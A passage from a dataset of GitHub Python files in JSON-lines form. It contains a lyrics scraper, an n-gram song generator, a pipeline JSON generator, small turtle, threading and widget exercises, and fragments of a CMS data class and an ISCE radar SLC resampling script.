self.local.connection.no_autoflush:\n DataLinker.set_data_attributes(self, **kwargs)\n\n if (\"entry_type\" in kwargs): self.local.db_instance.entry_type = kwargs['entry_type']\n if (\"owner_type\" in kwargs): self.local.db_instance.owner_type = kwargs['owner_type']\n if (\"author_id\" in kwargs): self.local.db_instance.author_id = kwargs['author_id']\n if (\"author_ip\" in kwargs): self.local.db_instance.author_ip = kwargs['author_ip']\n if (\"time_published\" in kwargs): self.local.db_instance.time_published = int(kwargs['time_published'])\n if (\"description\" in kwargs): self.local.db_instance.description = Binary.utf8(kwargs['description'])\n if (\"locked\" in kwargs): self.local.db_instance.locked = kwargs['locked']\n if (\"guest_permission\" in kwargs): self.local.db_instance.guest_permission = kwargs['guest_permission']\n if (\"user_permission\" in kwargs): self.local.db_instance.user_permission = kwargs['user_permission']\n\n if (\"content\" in kwargs):\n if (self.local.db_instance.rel_text_entry is None):\n self.local.db_instance.rel_text_entry = _DbTextEntry()\n self.local.db_instance.rel_text_entry.id = self.local.db_instance.id\n db_text_entry = self.local.db_instance.rel_text_entry\n else: db_text_entry = self.local.db_instance.rel_text_entry\n\n db_text_entry.content = Binary.utf8(kwargs['content'])\n #\n #\n #\n#\n","repo_name":"dNG-git/pas_contentor","sub_path":"src/dNG/data/contentor/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":7898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42585098895","text":"import requests\nfrom bs4 import BeautifulSoup\n\n\ndef get_lyric_data():\n URL = 'http://www.songlyrics.com/top-songs-lyrics.html'\n page = requests.get(URL)\n\n soup = BeautifulSoup(page.content, 'html.parser')\n results = soup.find(id='wrapper')\n links = str(results.find_all('td', class_='td-item td-last')).split(',')\n to_remove = []\n temp = []\n final = ''\n not_english = ['http://www.songlyrics.com/loonie/tao-lang-lyrics/',\n 'http://www.songlyrics.com/prince-royce/darte-un-beso-lyrics/',\n 'http://www.songlyrics.com/banda-el-recodo-de-cruz-lizarraga/vas-a-llorar-por-m-lyrics/',\n 'http://www.songlyrics.com/banda-los-recoditos/mi-ultimo-deseo-lyrics/',\n 'http://www.songlyrics.com/aventura/el-malo-lyrics/',\n 'http://www.songlyrics.com/slank/ku-tak-bisa-lyrics/',\n 'http://www.songlyrics.com/ron-henley/hagdan-lyrics/',\n 'http://www.songlyrics.com/stromae/tous-les-mmes-lyrics/',\n 'http://www.songlyrics.com/prince-royce/el-amor-que-perdimos-lyrics/',\n 'http://www.songlyrics.com/yeng-constantino/alaala-lyrics/',\n 'http://www.songlyrics.com/yeng-constantino/chinito-lyrics/',\n 'http://www.songlyrics.com/anitta/zen-lyrics/',\n 'http://www.songlyrics.com/sarah-geronimo/tayo-lyrics/',\n 'http://www.songlyrics.com/rio-febrian/jenuh-lyrics/']\n\n for i in range(len(links)):\n http = 0\n\n for _ in range(len(links[i]) - 3):\n end_http = links[i][_] + links[i][_ + 1] + links[i][_ + 2]\n if end_http == '/\" ':\n links[i] = links[i][42:_ + 1]\n http = 1\n break\n\n if http == 0:\n to_remove.append(i)\n\n for count, remove in enumerate(to_remove):\n links.remove(links[remove - count])\n\n for count, link in enumerate(links):\n songs = count\n print('Collecting lyrics from: ', link)\n page = requests.get(link)\n soup = BeautifulSoup(page.content, 'html.parser')\n song_lyrics = str(soup.find(id='songLyricsDiv')).split('
\\r\\n')\n\n for i in range(len(song_lyrics)):\n for _ in song_lyrics[i].split():\n if link not in not_english:\n temp.append(_)\n print(songs - 15, 'songs with lyrics found')\n\n for word in range(len(temp)):\n for z in range(temp[word].count('<')):\n to_remove.clear()\n tag = 0\n for _ in range(len(temp[word])):\n if tag == 1:\n if temp[word][_] == '>':\n to_remove.append(_)\n tag = 0\n break\n\n if temp[word][_] == '<':\n to_remove.append(_)\n tag = 1\n\n if len(to_remove) == 1:\n temp[word] = temp[word][to_remove[0] + 1:]\n\n if len(to_remove) == 2:\n temp[word] = temp[word][:to_remove[0]] + temp[word][to_remove[1] + 1:]\n\n to_remove.clear()\n\n for not_a_word in range(len(temp)):\n if temp[not_a_word] == 'p':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word] == 'span':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word][:4] == 'id=\"':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word][:8] == 'iComment':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word][:10] == 'data-chunk':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word][:6] == 'href=\"':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word][:7] == 'class=\"':\n to_remove.append(not_a_word)\n\n elif temp[not_a_word] == '':\n to_remove.append(not_a_word)\n\n for count, remove in enumerate(to_remove):\n temp.remove(temp[remove - count])\n\n print('Number of data points (in words): ', len(temp))\n for i in temp:\n final += i\n final += ' '\n\n return final\n","repo_name":"Tennis-Ball/AI-Singer","sub_path":"lyrics_modules/get_lyric_data.py","file_name":"get_lyric_data.py","file_ext":"py","file_size_in_byte":4103,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"34901953347","text":"# -*- coding: utf-8 -*-\nfrom os.path import join,isfile,isdir,dirname,basename\nfrom shutil import copyfile\nimport getopt,os,sys,re\nimport io,json\nimport global_m as gb\nfrom datetime import date\n\n\n'''\nOrganization: MDIBL\nAuthor: Lucie N. Hutchins\nContact: lucie.hutchins@mdibl.org\nDate: June 2019\n\n'''\ndef get_header():\n header='''\n****************** json_generator ********************************************************\n\nThe tool generates sample-specific json files for a given experiment\n\n***************************************************************************************\n '''\n return header\n\ndef prog_usage():\n usage=get_header()\n usage+='''\n\n Usage: PROG [-h] -c path2project_runID_main_config/cfgs/pipeline.cfg [-j path2project_runID_json_template/cfgs/template.json] [-s fastq]\n Where:\n -h To show the usage\n -c path2runID/cfgs/pipeline.cfg or --cfg=path2runID/cfgs/pipeline.cfg ... required, \n -j path2runID/cfgs/template.json or --jtemp=path2runID/cfgs/template.json ... optional\n (default - gets template path from pipeline.cfg), \n -s fatsq.gz or --suffix=fastq.gz ... optional(default fastq), reads files suffix \n \n What It Does: Uses the json template to generate sample-specific json files under \n the location specified in the pipeline.cfg for json files. \n\n Example: \n python PROG -c path2results/teamName/projectName/runID/cfgs/pipeline.cfg -s fastq\n OR \n python PROG -c path2results/teamName/projectName/runID/cfgs/pipeline.cfg \n -j path2results/teamName/projectName/runID/cfgs/template.json\n OR\n python PROG --cfg=path2results/teamName/projectName/runID/cfgs/pipeline.cfg \n \n ASSUMPTIONS: \n 1) User has full permission to create sample-specific json files\n 2) The json template has been generated in the same directory as the pipeline.cfg file\n '''\n print(\"%s\"%(usage))\n##\n# A data model to store sample info\n#\nclass SampleDOM:\n def __init__(self,sample_id,reads_list,reads_suffix):\n self.id=sample_id\n self.reads=[]\n self.set_sample(reads_list,reads_suffix)\n\n def set_sample(self,reads_list,reads_suffix):\n if reads_list:\n for read_file in reads_list:\n read_file=read_file.strip()\n if read_file.startswith(self.id) and read_file.endswith(reads_suffix):\n self.reads.append(read_file)\n \n def get_read_file(self,sampleID,read_number):\n # Logic:\n # if the len of sample_reads array is one, return the first element\n # else:\n # use the map-reduced algorithm to get the right file name\n #\n if len(self.reads)<=0: return None\n elif len(self.reads)<2: \n try: \n return self.reads[0].replace(\".gz\",\"\")\n except:pass\n else:\n # Map step\n # Create a list of string tokens using one string(read_file)\n ## we want our regular expression to capture both \"_\" and non-alphanumeric characters\n try:\n token_file=self.reads[0].replace(sampleID,\"sample\")\n tokens=re.split(r'[\\W+|_]',token_file)\n ##Based on our standars readID is field#2 in the name\n read_id=tokens[1]\n if read_id.startswith(\"R\"):read_number=\"R\"+read_number\n # Create a dictionary with read_file:read_file.tokens key:value pair\n reads={}\n for read_file in self.reads:\n token_file=read_file.replace(sampleID,\"sample\")\n reads[read_file]=re.split(r'[\\W+|_]',token_file)\n # Reduction step - reduce each dict>value using string tokens\n for token in tokens:\n if token in read_number: continue\n for read_file in reads:\n if token in reads[read_file]:reads[read_file].remove(token)\n # Assembly and quantification step\n except:pass\n read_file=None\n for read in reads:\n if read_number in reads[read]:read_file=read\n return read_file.replace(\".gz\",\"\")\n\nif __name__== \"__main__\":\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"hc:j:s:\", \n [\"help\", \"cfg=\",\"jtemp=\",\"suffix\"])\n except getopt.GetoptError as err:\n # print help information and exit:\n print(\"ERROR:%s\" % (str(err) )) # will print something like \"option -a not recognized\"\n prog_usage()\n sys.exit(1)\n #set program arguments\n json_template=None\n pipeline_config=None\n log_file=None\n json_base_dir=None\n design_file=None\n reads_suffix=\"fastq\"\n for o, a in opts:\n if o in (\"-c\", \"--cfg\"):pipeline_config = a\n elif o in (\"-j\",\"--jtemp\"):json_template = a\n elif o in (\"-s\",\"--suffix\"):reads_suffix = a\n elif o in (\"-h\", \"--help\"):\n prog_usage()\n sys.exit()\n else:\n assert False, \"unhandled option\"\n if pipeline_config is None or not isfile(pipeline_config):\n msg=\"ERROR: pipeline.cfg missing\"\n print(\"%s - Check %s\"%(msg,pipeline_config))\n prog_usage()\n sys.exit()\n #get project global environment variables \n # variables of interest for this step:\n # 1)LOG_BASE\n # 2)JSON_TEMPLATE\n # 3)PATH2_JSON_FILES\n # 4)DESIGN_FILE \n # 5)READS_BASE\n # 6)RUN_ID\n \n project_env=gb.loadEnv(pipeline_config) \n if not project_env[\"LOG_BASE\"]:\n print(\"ERROR: Log directory missing - see:%s\"%(project_env[\"LOG_BASE\"]))\n print(\"create the above directory and try again.\")\n sys.exit()\n if not project_env[\"PATH2_JSON_FILES\"]:\n print(\"ERROR: Json files base directory missing - see:%s\"%(project_env[\"PATH2_JSON_FILES\"]))\n print(\"create the above directory and try again.\")\n sys.exit()\n if not project_env[\"ORIGINAL_READS_BASE\"]:\n print(\"ERROR: Path to Reads files is incorrect - see:%s\"%(project_env[\"ORIGINAL_READS_BASE\"]))\n sys.exit()\n\n if not isdir(project_env[\"LOG_BASE\"]):\n gb.mkdir_p(project_env[\"LOG_BASE\"])\n log_file=join(project_env[\"LOG_BASE\"],basename(__file__)+\".log\")\n if not isdir(project_env[\"PATH2_JSON_FILES\"]):\n gb.mkdir_p(project_env[\"PATH2_JSON_FILES\"])\n json_base_dir=project_env[\"PATH2_JSON_FILES\"]\n if json_template is None: \n json_template=project_env[\"JSON_TEMPLATE\"]\n design_file=project_env[\"DESIGN_FILE\"]\n project_run_id=\"\"\n if \"RUN_ID\" in project_env:\n project_run_id=project_env[\"RUN_ID\"]\n\n if not isdir(json_base_dir):\n print(\"ERROR: Json files base directory does not exist - see:%s\"%(json_base_dir))\n print(\"create the above directory and try again.\")\n sys.exit()\n if not isfile(design_file): \n print(\"ERROR: The design file is missing - see:%s\"%(design_file))\n sys.exit()\n if not isfile(json_template):\n print(\"ERROR: Json template file is missing - see:%s\"%(json_template))\n sys.exit()\n ## Load json template into an object\n json_obj=None\n with open(json_template) as f:\n json_obj=json.load(f)\n if json_obj is None:\n print(\"ERROR: Failed to open Json template - see:%s\"%(json_template))\n sys.exit()\n ##Enforce our standards by making a copy of json template under this runID cfgs directory if needed\n cfgs_base=dirname(pipeline_config).strip()\n json_template_base=dirname(json_template).strip()\n json_template_file=basename(json_template).strip()\n if cfgs_base not in json_template_base: \n copyfile(json_template,join(cfgs_base,json_template_file))\n \n log=open(log_file,'w') \n log.write(\"**********************************\\n\")\n log.write(\"**********************************\\n\")\n log.write(\"Date:%s\\n\"%( date.today()))\n log.write(\"\\n\")\n log.write(\"Log file:%s\\n\"%(log_file))\n log.write(\"Json template:%s\\n\"%(json_template)) \n log.write(\"Json files base directory:%s\\n\"%(json_base_dir)) \n log.write(\"Experiment Design File:%s\\n\"%(design_file))\n log.write(\"Experiment Reads base:%s\\n\"%(project_env[\"ORIGINAL_READS_BASE\"]))\n log.write(\"Experiment Run config File:%s\\n\"%(pipeline_config))\n bad_format=False\n json_obj[\"project_run_id\"]=project_run_id\n ## get list of reads file names\n reads_base=project_env[\"ORIGINAL_READS_BASE\"]\n reads=[f for f in os.listdir(reads_base) if isfile(join(reads_base,f))]\n with open(design_file,'r') as f:\n try:\n for line in f.readlines():\n if \"Sample\" in line:continue\n if \"sample_id\" in line:continue\n #Remove leading and trailing whitespace from line\n line=line.strip()\n fields=line.split('\\t')\n sample=SampleDOM(fields[0].strip(),reads,reads_suffix)\n read_file_format=sample.id+\"[delimiter]readID[delimiter][...]\"+reads_suffix\n log.write(\"----------------------------\\n\")\n log.write(\"SampleID:%s\\n\"%(sample.id))\n log.write(\"Read files suffix:%s\\n\"%(reads_suffix))\n log.write(\"Number of Reads:%d\\n\"%(len(sample.reads)))\n \n if len(sample.reads)<=0:\n try:\n log.write(\"ERROR: Bad read files name - expected format - %s\\n\"%(read_file_format))\n log.write(\"Original reads files are expected under - %s\\n\"%(project_env[\"ORIGINAL_READS_BASE\"]))\n except:pass\n bad_format=True\n continue\n read1=join(project_env[\"READS_BASE\"],sample.get_read_file(sample.id,\"1\"))\n read2=None\n sample_json_obj=json_obj\n sample_json_file=join(json_base_dir,sample.id+\".\"+project_env[\"ORGANISM\"]+\".json\")\n sample_json_obj[\"input_fastq_read1_files\"][0][\"path\"]=read1\n if len(sample.reads)>1:read2=join(project_env[\"READS_BASE\"],sample.get_read_file(sample.id,\"2\"))\n log.write(\" READ1:%s\\n\"%(read1))\n if read2 is not None:\n log.write(\" READ2:%s\\n\"%(read2))\n sample_json_obj[\"input_fastq_read2_files\"][0][\"path\"]=read2\n log.write(\"Json file:%s\\n\"%(sample_json_file))\n try:\n to_unicode = unicode\n except NameError:\n to_unicode = str\n with io.open(sample_json_file, 'w', encoding='utf8') as outfile:\n str_ = json.dumps(sample_json_obj,indent=2, sort_keys=True,separators=(',', ': '), ensure_ascii=False)\n outfile.write(to_unicode(str_))\n print(\"Sample:%s\\nJson file:%s\\n\"%(sample.id,sample_json_file))\n except:pass\n if bad_format:\n log.write(\"Failed\\n\")\n print(\"Program failed - check the log file:%s\\n\"%(log_file))\n sys.exit(1)\n log.write(\"Program complete\\n\")\n print(\"Program complete\\n\")\n sys.exit()\n","repo_name":"mdibl/biocore_utils","sub_path":"src/python/json_generator.py","file_name":"json_generator.py","file_ext":"py","file_size_in_byte":11157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3630512358","text":"import turtle as t\nfrom turtle import Screen\n\ntim = t.Turtle()\nscreen = Screen()\n\n########### Challenge 2 - Draw a Dashed Line ########\nwin_width = screen.window_width()\ntim.shape(\"turtle\")\ntim.pencolor('red')\ntim.penup()\ntim.setx(-1 * (win_width / 2))\ntim.width(3)\ntim.pendown()\n\nfor _ in range(int(win_width / 20)):\n if abs(tim.xcor()) > win_width / 2:\n tim.right(90)\n\n tim.forward(10)\n tim.penup()\n tim.forward(10)\n tim.pendown()\n\n\nscreen.exitonclick()\n","repo_name":"cuauhtlahuac/100DaysOfPythonCode","sub_path":"day18/draw_dashed_line.py","file_name":"draw_dashed_line.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"27046373153","text":"import random\nimport sys\nn = 100\nif len(sys.argv) == 3:\n\tif int(sys.argv[2]) < 1:\n\t\tprint(\"TOO LOW OF VALUE FOR N\")\n\telse:\n\t\tn = int(sys.argv[2])\n\t\n\nf = open(sys.argv[1], encoding='utf-8')\nlyrics = f.readlines()\n\nstrings = \" \".join(lyrics)\nstrings = strings.lower()\nstrLyrics = \" \".join(lyrics)\nstrLyrics = strLyrics.replace(\"?\",\" \")\nstrLyrics = strLyrics.replace(\"\\n\",\" \")\nstrLyrics = strLyrics.replace('\"',\" \")\nstrLyrics = strLyrics.replace(\",\",\" \")\nstrLyrics = strLyrics.lower()\nstrLyrics = strLyrics.replace(\"-\",\" \")\nstrLyrics = strLyrics.replace(\".\",\" \")\nstrLyrics = strLyrics.replace(\":\",\" \")\nstrLyrics = strLyrics.replace(\";\",\" \")\nstrLyrics = strLyrics.replace(\"(\",\" \")\nstrLyrics = strLyrics.replace(\")\",\" \")\nstrLyrics = strLyrics.replace(\"!\",\" \")\nblack_sabbath = strLyrics.split(' ') \n\n\n#START OF UNIGRAMS\nunigrams = {} #empty Dictionary\n#This for loop creates a unigram dictionary and counts each word.\nfor ozzy_token in black_sabbath:\n\tif ozzy_token != \"\":\n\n\t\tif unigrams.get(ozzy_token) == None:\n\t\t\tunigrams[ozzy_token] = 1\n\n\t\telse:\n\t\t\tnum = unigrams[ozzy_token]\n\t\t\tunigrams[ozzy_token] = num + 1\n\n#Testing the Unigram Model\nkey = list(unigrams.keys())\nval = list(unigrams.values())\nsentence = random.choices(key, weights = val, k = n)\nstr2 = \" \".join(sentence)\n\n\n#UNCOMMENT\nprint(\"UNIGRAMS MODEL\")\nprint(str2)\n#UNCOMMENT\nprint(\" \")\n\n#UNIGRAMS END\n######################################################\n#BIGRAMS START\nprint(\"BIGRAMS MODEL\")\nbigrams = {}\nfor i in range(len(black_sabbath)):\n\tif black_sabbath[i] != \"\" and black_sabbath[i+1] != \"\":\n\t\t#if this bigram doesn't exist\n\n\t\tif bigrams.get(black_sabbath[i]) == None:\n\t\t\tsecond = {black_sabbath[i+1] :1}\n\t\t\tbigrams[black_sabbath[i]] = second\n\t\n\t\t#If this bigram exists with this word\n\t\telif bigrams.get(black_sabbath[i]) != None:\n\t\t\texisting = bigrams[black_sabbath[i]]\n\t\t\t#if existing first word doesn't have this second word\n\t\t\tif(existing.get(black_sabbath[i+1]) == None ):\n\t\t\t\texisting[black_sabbath[i + 1]] = 1\n\t\t\t\tbigrams[black_sabbath[i]].update(existing)\n\t\t\telse:\n\t\t\t#if this bigram occured already add one to its count\n\t\t\t\tnum = existing[black_sabbath[i+1]]\n\t\t\t\texisting[black_sabbath[i+1]] = num + 1\n\t\t\t\tbigrams[black_sabbath[i]] = existing\n\n\ni = 0\nuni = random.choices(key,weights = val, k = 1)\nnextWord = \" \".join(uni)\nsong = []\nwhile i < n:\n\tif bigrams.get(nextWord,None) == None:\n\t\tuni = random.choices(key,weights = val, k = 1)\n\t\tnextWord = \" \".join(uni)\n\telse:\n\t\ttemp = bigrams.get(nextWord) \t\n\t\tkey2 = (list(temp.keys())) \n\t\tvals2 = (list(temp.values()))\n\t\tphrase = random.choices(key2, weights = vals2, k = 1)\n\t\tsong.append(\" \" + \" \".join(phrase))\n\t\tnextWord = \" \".join(phrase)\n\t\ti+= 1\n\nprint(\"\".join(song).strip())\n\n\n\n#END OF BIGRAMS\n######################################################\n#START OF TRIGRAMS\ntrigrams = {} \nfor i in range(len(black_sabbath)):\n\tif black_sabbath[i] != \"\" and black_sabbath[i+1] != \"\" and black_sabbath[i+2] != \"\": \n\t\t#Case 1: First word in trigram doesn't exist\n\t\tif trigrams.get(black_sabbath[i]) == None:\n\t\t\tnext_two = {black_sabbath[i+1] :{black_sabbath[i+2]:1}} \n\t\t\ttrigrams[black_sabbath[i]] = next_two\t\n\n\t\t#Case 2: First word exists, second word doesn't exist.\n\t\telif trigrams.get(black_sabbath[i]) != None:\n\t\t\tfirst_word = trigrams[black_sabbath[i]]\n\t\t\t\n\t\n\t\t\t#if second word doesn't exist add it. \n\t\t\tif first_word.get(black_sabbath[i+1]) == None:\n\t\t\t\tnext_two = {black_sabbath[i+1] :{black_sabbath[i+2]:1}}\n\t\t\t\ttrigrams[black_sabbath[i]].update(next_two)\n\t\t\t#second Word is there third isn't\n\t\t\telif first_word.get(black_sabbath[i+1]) != None: \n\t\t\t\tsecond_word = trigrams[black_sabbath[i]][black_sabbath[i+1]]\t\t\t\t\n\t\t\t\t#HAS THIRD WORD\n\t\t\t\tif second_word.get(black_sabbath[i+2]) != None:\n\t\t\t\t\tnum = second_word[black_sabbath[i+2]]\n\t\t\t\t\ttrigrams[black_sabbath[i]][black_sabbath[i+1]][black_sabbath[i+2]] = num + 1\n\t\t\t\t#NO THIRD WORD\t \n\t\t\t\telif second_word.get(black_sabbath[i+2]) == None:\n\t\t\t\t\tlast = {black_sabbath[i+2]: 1}\n\t\t\t\t\ttrigrams[black_sabbath[i]][black_sabbath[i+1]].update(last)\n\n\n\n\t\nprint(\" \")\nprint(\"TRIGRAMS\")\ni = 0\nuni = random.choices(key,weights = val, k = 1)\nnextWord = \" \".join(uni)\nsong = []\nwhile i < n:\n\t##If no trigram starts with this.\n\tif trigrams.get(nextWord) == None:\t\t\n\t\tuni = random.choices(key,weights = val, k = 1)\n\t\tnextWord = \" \".join(uni)\t\n\telse: #If there is a trigram\n\t\tfirst = trigrams.get(nextWord) #FIRST WORD\n\t\ttemp = list(first.keys())\t\n\t\tsecond = random.choices(temp) #SECOND WORD\t\n\t\tthird = first.get(second[0]) #RN ITS A DICT\n\t\tthird_keys = list(third.keys())\n\t\tthird_vals = list(third.values())\n\t\tthird = random.choices(third_keys,weights=third_vals, k = 1)\n\t\ttri_list = [nextWord,second[0]]\n\t\tphrase = \" \".join(tri_list)\t\n\t\tsong.append(phrase)\n\t\tnextWord = \"\".join(third[0])\n\t\ti = i+1\n\n\n\t\n\n\t\n\n\nprint(\" \".join(song).strip())\n#END OF TRIGRAMS\n\n\n\n\n\n\n\n\n","repo_name":"MicahHarlan/BlackSabbathSongGenerator","sub_path":"mharlan_ngram.py","file_name":"mharlan_ngram.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9120140441","text":"# import threading\nimport concurrent.futures\nimport time\n\nstart = time.perf_counter()\n\n\ndef do_smth(sec):\n print(f\"Sleep {sec} second(s)!\")\n time.sleep(sec)\n return f\"Done sleeping {sec} second(s)\"\n\nwith concurrent.futures.ThreadPoolExecutor() as executor:\n secs = [5, 4, 3, 2, 1]\n results = executor.map(do_smth, secs)\n for result in results:\n print(result)\n\n\n\n # results = [executor.submit(do_smth, sec) for sec in secs]\n # for f in concurrent.futures.as_completed(results):\n # print(f.result())\n\n\n# threads = []\n# for _ in range(10):\n# t = threading.Thread(target=do_smth, args = [1.5])\n# t.start()\n# threads.append(t)\n\n# for thread in threads:\n# thread.join()\n\nprint(f\"Finished in {time.perf_counter() - start} seconds!\")","repo_name":"dkleptsov/small_projects","sub_path":"multithreading/multithread.py","file_name":"multithread.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16650273581","text":"\"\"\"Set of numbers displayed after selecting blue or purple after task.\"\"\"\n\nimport ipywidgets as widgets\nfrom ipywidgets import VBox, HBox\nfrom IPython.display import display\nimport time\n\n# Set of buttons shown after player selects blue or purple\nthree_button = widgets.Button(description='3')\nfour_button = widgets.Button(description='4')\nseven_button = widgets.Button(description='7')\neight_button = widgets.Button(description='8')\nout = widgets.Output()\n\n# Arranges the buttons into a 2x2 table\nleft_box = VBox([three_button, seven_button])\nright_box = VBox([four_button, eight_button])\nout_greater = HBox([left_box, right_box])\n \ndisplay(out_greater, out)\n\ndef three_chosen(clicked):\n \"\"\"After the three button is chosen, a statement corresponding \n to the three button will be shown along with a thank you statement. \n \n Parameters\n ----------\n clicked : Button (ipywidgets.widgets.widget_button.Button)\n Allows function to run if button is clicked.\n \n Returns\n -------\n print('Thanks for playing!') : string\n A statement thanking the player.\n \"\"\" \n with out: \n print('\\nHere is your task:\\n' \n '\\nEat an apple (or any fruit of your choice)\\n')\n # Delays return statement to give player time to read task\n time.sleep(1.5)\n \n return print('Thanks for playing!')\n\n# Allows this function to occur only when the three button is clicked on \nthree_button.on_click(three_chosen)\n\ndef four_chosen(clicked):\n \"\"\"After the four button is chosen, a statement corresponding \n to the four button will be shown along with a thank you statement. \n \n Parameters\n ----------\n clicked : Button (ipywidgets.widgets.widget_button.Button)\n Allows function to run if button is clicked.\n \n Returns\n -------\n print('Thanks for playing!') : string\n A statement thanking the player.\n \"\"\" \n with out:\n print('\\nHere is your task:\\n' \n '\\nTreat yourself with your favorite dessert!\\n')\n # Delays return statement to give player time to read task\n time.sleep(1.5)\n\n return print('Thanks for playing!')\n\n# Allows this function to occur only when the four button is clicked on \nfour_button.on_click(four_chosen)\n\ndef seven_chosen(clicked):\n \"\"\"After the seven button is chosen, a statement corresponding \n to the seven button will be shown along with a thank you statement. \n \n Parameters\n ----------\n clicked : Button (ipywidgets.widgets.widget_button.Button)\n Allows function to run if button is clicked.\n \n Returns\n -------\n print('Thanks for playing!') : string\n A statement thanking the player.\n \"\"\" \n with out:\n print('\\nHere is your task:\\n' \n '\\nTake a 5 minute break\\n')\n # Delays return statement to give player time to read task\n time.sleep(1.5)\n \n return print('Thanks for playing!')\n\n# Allows this function to occur only when the seven button is clicked on\nseven_button.on_click(seven_chosen) \n\ndef eight_chosen(clicked):\n \"\"\"After the eight button is chosen, a statement corresponding \n to the eight button will be shown along with a thank you statement. \n \n Parameters\n ----------\n clicked : Button (ipywidgets.widgets.widget_button.Button)\n Allows function to run if button is clicked.\n \n Returns\n -------\n print('Thanks for playing!') : string\n A statement thanking the player.\n \"\"\" \n with out:\n print('\\nHere is your task:\\n' \n '\\nClean your desk\\n')\n # Delays return statement to give player time to read task\n time.sleep(1.5)\n \n return print('Thanks for playing!')\n\n# Allows this function to occur only when the eight button is clicked on\neight_button.on_click(eight_chosen) ","repo_name":"ckwon822/COGS18Final","sub_path":"task_greater_numbers.py","file_name":"task_greater_numbers.py","file_ext":"py","file_size_in_byte":3852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10649739004","text":"#\n#\n\nimport isce\nimport isceobj\nimport stdproc\nfrom isceobj.Util.Poly2D import Poly2D\nimport logging\nfrom isceobj.Util.decorators import use_api\n\nimport os\nimport numpy as np\nimport shelve\n\nlogger = logging.getLogger('isce.insar.runResampleSubbandSlc')\n\n# Modified by V. Brancato 10.14.2019 added \"self\" as input parameter of resampleSLC\ndef resampleSlc(self,referenceFrame, secondaryFrame, imageSlc2, radarWavelength, coregDir,\n azoffname, rgoffname, azpoly = None, rgpoly = None, misreg=False):\n logger.info(\"Resampling secondary SLC\")\n\n imageSlc1 = referenceFrame.getImage().filename\n\n inimg = isceobj.createSlcImage()\n inimg.load(imageSlc2 + '.xml')\n inimg.setAccessMode('READ')\n\n prf = secondaryFrame.PRF\n\n doppler = secondaryFrame._dopplerVsPixel\n factor = 1.0 # this should be zero for zero Doppler SLC.\n coeffs = [factor * 2*np.pi*val/prf/prf for val in doppler]\n\n dpoly = Poly2D()\n dpoly.initPoly(rangeOrder=len(coeffs)-1, azimuthOrder=0, coeffs=[coeffs])\n\n rObj = stdproc.createResamp_slc()\n rObj.slantRangePixelSpacing = secondaryFrame.getInstrument().getRangePixelSize()\n #rObj.radarWavelength = secondaryFrame.getInstrument().getRadarWavelength()\n rObj.radarWavelength = radarWavelength\n rObj.dopplerPoly = dpoly \n\n # for now let's start with None polynomial. Later this should change to\n # the misregistration polynomial\n rObj.azimuthOffsetsPoly = azpoly\n rObj.rangeOffsetsPoly = rgpoly\n rObj.imageIn = inimg\n\n rngImg = isceobj.createImage()\n rngImg.load(rgoffname + '.xml')\n rngImg.setAccessMode('READ')\n\n aziImg = isceobj.createImage()\n aziImg.load(azoffname + '.xml')\n aziImg.setAccessMode('READ')\n\n width = rngImg.getWidth()\n length = rngImg.getLength()\n\n# Modified by V. Brancato on 10.14.2019 (if Rubbersheeting in range is turned on, flatten the interferogram during cross-correlation)\n if not self.doRubbersheetingRange:\n print('Rubber sheeting in range is turned off, flattening the interferogram during resampling')\n flatten = True\n print(flatten)\n else:\n print('Rubber sheeting in range is turned on, flattening the interferogram during interferogram formation')\n flatten=False\n print(flatten)\n# end of Modification\n \n rObj.flatten = flatten\n rObj.outputWidth = width\n rObj.outputLines = length\n rObj.residualRangeImage = rngImg\n rObj.residualAzimuthImage = aziImg\n\n if referenceFrame is not None:\n rObj.startingRange = secondaryFrame.startingRange\n rObj.referenceStartingRange = referenceFrame.startingRange\n rObj.referenceSlantRangePixelSpacing = referenceFrame.getInstrument().getRangePixelSize()\n rObj.referenceWavelength = radarWavelength\n \n # preparing the output directory for coregistered secondary slc\n #coregDir = self.insar.coregDirname\n\n os.makedirs(coregDir, exist_ok=True)\n\n # output file name of the coregistered secondary slc\n img = secondaryFrame.getImage() \n coregFilename = os.path.join(coregDir , os.path.basename(img.filename))\n\n imgOut = isceobj.createSlcImage()\n imgOut.setWidth(width)\n imgOut.filename = coregFilename\n imgOut.setAccessMode('write')\n\n rObj.resamp_slc(imageOut=imgOut)\n\n imgOut.renderHdr()\n\n return coregFilename\n\n\ndef runResampleSubbandSlc(self, misreg=False):\n '''Run method for split spectrum.\n '''\n\n if not self.doSplitSpectrum:\n print('Split spectrum not requested. Skipping...')\n return\n \n referenceFrame = self._insar.loadProduct( self._insar.referenceSlcCropProduct)\n secondaryFrame = self._insar.loadProduct( self._insar.secondarySlcCropProduct)\n\n# Modified by V. Brancato 10.14.2019\n\n if self.doRubbersheetingAzimuth:\n print('Using rubber in azimuth sheeted offsets for resampling sub-bands')\n azoffname = os.path.join( self.insar.offsetsDirname, self.insar.azimuthRubbersheetFilename)\n\n else:\n print('Using refined offsets for resampling sub-bands')\n azoffname = os.path.join( self.insar.offsetsDirname, self.insar.azimuthOffsetFilename)\n \n if self.doRubbersheetingRange:\n print('Using rubber in range sheeted offsets for resampling sub-bands')\n rgoffname = os.path.join( self.insar.offsetsDirname, self.insar.rangeRubbersheetFilename)\n else:\n print('Using refined offsets for resampling sub-bands')\n rgoffname = os.path.join( self.insar.offsetsDirname, 